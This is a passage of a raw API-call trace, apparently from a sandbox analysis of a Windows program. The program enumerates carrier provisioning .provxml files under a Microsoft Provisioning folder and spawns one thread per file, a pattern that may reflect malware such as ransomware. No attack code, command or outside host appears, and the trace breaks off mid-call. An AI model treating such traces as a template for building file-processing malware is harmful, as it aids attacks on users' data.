ftLastAccessTime.dwLowDateTime=0x90d4f224, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90d4f224, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="364__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="364__C~1.PRO")) returned 1 [0180.219] wcscmp (_String1="364__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2=".") returned 1 [0180.219] wcscmp (_String1="364__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2="..") returned 1 [0180.219] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x128) returned 0x30550b8 [0180.219] wcscpy (in: _Dest=0x30550b8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.219] wcscat (in: _Dest=0x30550b8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.219] wcscat (in: _Dest=0x30550b8, _Source="364__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\364__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\364__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" [0180.219] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x30550b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9cc [0180.220] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90d4f224, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90d4f224, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90d4f224, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x28a, dwReserved0=0x0, dwReserved1=0x0, cFileName="365__Connections_Cellular_NCC (Russian Federation)_i0$(__MVID)@WAP.provxml", cAlternateFileName="365__C~1.PRO")) returned 1 [0180.220] wcscmp (_String1="365__Connections_Cellular_NCC (Russian Federation)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.220] wcscmp (_String1="365__Connections_Cellular_NCC (Russian Federation)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.220] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x152) returned 0x2fa29c8 [0180.220] wcscpy (in: _Dest=0x2fa29c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.220] wcscat (in: _Dest=0x2fa29c8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.220] wcscat (in: _Dest=0x2fa29c8, _Source="365__Connections_Cellular_NCC (Russian Federation)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\365__Connections_Cellular_NCC (Russian Federation)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\365__Connections_Cellular_NCC (Russian Federation)_i0$(__MVID)@WAP.provxml" [0180.220] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa29c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4dc [0180.220] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90d7548b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90d7548b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90d7548b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="366__Connections_Cellular_NTC (New Telephone Co) (Russian Federation)_i0$(__MVID)@WAP.provxml", cAlternateFileName="366__C~1.PRO")) returned 1 [0180.220] wcscmp (_String1="366__Connections_Cellular_NTC (New Telephone Co) (Russian Federation)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.220] wcscmp (_String1="366__Connections_Cellular_NTC (New Telephone Co) (Russian Federation)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.220] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x178) returned 0x2ff25d0 [0180.221] wcscpy (in: _Dest=0x2ff25d0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.221] wcscat (in: _Dest=0x2ff25d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.221] wcscat (in: _Dest=0x2ff25d0, _Source="366__Connections_Cellular_NTC (New Telephone Co) (Russian Federation)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\366__Connections_Cellular_NTC (New Telephone Co) (Russian Federation)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\366__Connections_Cellular_NTC (New Telephone Co) (Russian Federation)_i0$(__MVID)@WAP.provxml" [0180.221] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2ff25d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5e4 [0180.221] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90d7548b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90d7548b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90d7548b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="367__Connections_Cellular_OJSC Sibirtelecom (Russian Federation)_i0$(__MVID)@WAP.provxml", cAlternateFileName="367__C~1.PRO")) returned 1 [0180.221] wcscmp (_String1="367__Connections_Cellular_OJSC Sibirtelecom (Russian Federation)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.221] wcscmp (_String1="367__Connections_Cellular_OJSC Sibirtelecom (Russian Federation)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.221] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x16e) returned 0x2f8f458 [0180.221] wcscpy (in: _Dest=0x2f8f458, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.221] wcscat (in: _Dest=0x2f8f458, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.221] wcscat (in: _Dest=0x2f8f458, _Source="367__Connections_Cellular_OJSC Sibirtelecom (Russian Federation)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\367__Connections_Cellular_OJSC Sibirtelecom (Russian Federation)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\367__Connections_Cellular_OJSC Sibirtelecom (Russian Federation)_i0$(__MVID)@WAP.provxml" [0180.222] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f8f458, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x37c [0180.222] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90d7548b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90d7548b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90d7548b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="368__Connections_Cellular_OJSC VimpelCom (Russian Federation)_i0$(__MVID)@WAP.provxml", cAlternateFileName="368__C~1.PRO")) returned 1 [0180.222] wcscmp (_String1="368__Connections_Cellular_OJSC VimpelCom (Russian Federation)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.222] wcscmp (_String1="368__Connections_Cellular_OJSC VimpelCom (Russian Federation)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.222] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x168) returned 0x2f6ca08 [0180.222] wcscpy (in: _Dest=0x2f6ca08, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.222] wcscat (in: _Dest=0x2f6ca08, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.222] wcscat (in: _Dest=0x2f6ca08, _Source="368__Connections_Cellular_OJSC VimpelCom (Russian Federation)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\368__Connections_Cellular_OJSC VimpelCom (Russian Federation)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\368__Connections_Cellular_OJSC VimpelCom (Russian Federation)_i0$(__MVID)@WAP.provxml" [0180.222] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6ca08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b0 [0180.223] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90d7548b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90d7548b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90d7548b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="369__Connections_Cellular_PrimTel (Russian Federation)_i0$(__MVID)@WAP.provxml", cAlternateFileName="369__C~1.PRO")) returned 1 [0180.223] wcscmp (_String1="369__Connections_Cellular_PrimTel (Russian Federation)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.223] wcscmp (_String1="369__Connections_Cellular_PrimTel (Russian Federation)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.223] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x15a) returned 0x2fa3aa8 [0180.223] wcscpy (in: _Dest=0x2fa3aa8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.223] wcscat (in: _Dest=0x2fa3aa8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.223] wcscat (in: _Dest=0x2fa3aa8, _Source="369__Connections_Cellular_PrimTel (Russian Federation)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\369__Connections_Cellular_PrimTel (Russian Federation)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\369__Connections_Cellular_PrimTel (Russian Federation)_i0$(__MVID)@WAP.provxml" [0180.223] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa3aa8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d8 [0180.224] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x901fba3a, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x901fba3a, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x901fba3a, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x28e, dwReserved0=0x0, dwReserved1=0x0, cFileName="36__Connections_Cellular_Grameen Phone (Bangladesh)_i0$(__MVID)@WAP.provxml", cAlternateFileName="36__CO~1.PRO")) returned 1 [0180.224] wcscmp (_String1="36__Connections_Cellular_Grameen Phone (Bangladesh)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.224] wcscmp (_String1="36__Connections_Cellular_Grameen Phone (Bangladesh)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.224] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x154) returned 0x2fa1ff0 [0180.224] wcscpy (in: _Dest=0x2fa1ff0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.224] wcscat (in: _Dest=0x2fa1ff0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.224] wcscat (in: _Dest=0x2fa1ff0, _Source="36__Connections_Cellular_Grameen Phone (Bangladesh)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\36__Connections_Cellular_Grameen Phone (Bangladesh)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\36__Connections_Cellular_Grameen Phone (Bangladesh)_i0$(__MVID)@WAP.provxml" [0180.224] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa1ff0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x530 [0180.225] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90d9b6fb, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90d9b6fb, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90d9b6fb, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x315, dwReserved0=0x0, dwReserved1=0x0, cFileName="370__Connections_Cellular_Uraltel (Russian Federation)_i0$(__MVID)@WAP.provxml", cAlternateFileName="370__C~1.PRO")) returned 1 [0180.225] wcscmp (_String1="370__Connections_Cellular_Uraltel (Russian Federation)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.225] wcscmp (_String1="370__Connections_Cellular_Uraltel (Russian Federation)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.225] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x15a) returned 0x2fa2428 [0180.225] wcscpy (in: _Dest=0x2fa2428, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.225] wcscat (in: _Dest=0x2fa2428, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.225] wcscat (in: _Dest=0x2fa2428, _Source="370__Connections_Cellular_Uraltel (Russian Federation)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\370__Connections_Cellular_Uraltel (Russian Federation)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\370__Connections_Cellular_Uraltel (Russian Federation)_i0$(__MVID)@WAP.provxml" [0180.225] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa2428, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x620 [0180.226] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90d9b6fb, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90d9b6fb, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90d9b6fb, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2de, dwReserved0=0x0, dwReserved1=0x0, cFileName="371__Connections_Cellular_Yeniseytelecom (Russian Federation)_i0$(__MVID)@WAP.provxml", cAlternateFileName="371__C~1.PRO")) returned 1 [0180.226] wcscmp (_String1="371__Connections_Cellular_Yeniseytelecom (Russian Federation)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.226] wcscmp (_String1="371__Connections_Cellular_Yeniseytelecom (Russian Federation)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.226] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x168) returned 0x2f6ce70 [0180.226] wcscpy (in: _Dest=0x2f6ce70, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.226] wcscat (in: _Dest=0x2f6ce70, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.226] wcscat (in: _Dest=0x2f6ce70, _Source="371__Connections_Cellular_Yeniseytelecom (Russian Federation)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\371__Connections_Cellular_Yeniseytelecom (Russian Federation)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\371__Connections_Cellular_Yeniseytelecom (Russian Federation)_i0$(__MVID)@WAP.provxml" [0180.226] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6ce70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e4 [0180.227] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90d9b6fb, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90d9b6fb, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90d9b6fb, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="372__Connections_Cellular_Mobily (Saudi Arabia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="372__C~1.PRO")) returned 1 [0180.227] wcscmp (_String1="372__Connections_Cellular_Mobily (Saudi Arabia)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.227] wcscmp (_String1="372__Connections_Cellular_Mobily (Saudi Arabia)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.227] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14c) returned 0x3044ea8 [0180.227] wcscpy (in: _Dest=0x3044ea8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.227] wcscat (in: _Dest=0x3044ea8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.227] wcscat (in: _Dest=0x3044ea8, _Source="372__Connections_Cellular_Mobily (Saudi Arabia)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\372__Connections_Cellular_Mobily (Saudi Arabia)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\372__Connections_Cellular_Mobily (Saudi Arabia)_i0$(__MVID)@WAP.provxml" [0180.227] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3044ea8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x58c [0180.227] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90d9b6fb, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90d9b6fb, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90d9b6fb, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="373__Connections_Cellular_Mobily (Saudi Arabia)_i1$(__MVID)@WAP.provxml", cAlternateFileName="373__C~1.PRO")) returned 1 [0180.227] wcscmp (_String1="373__Connections_Cellular_Mobily (Saudi Arabia)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.227] wcscmp (_String1="373__Connections_Cellular_Mobily (Saudi Arabia)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.227] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14c) returned 0x3044138 [0180.228] wcscpy (in: _Dest=0x3044138, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.228] wcscat (in: _Dest=0x3044138, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.228] wcscat (in: 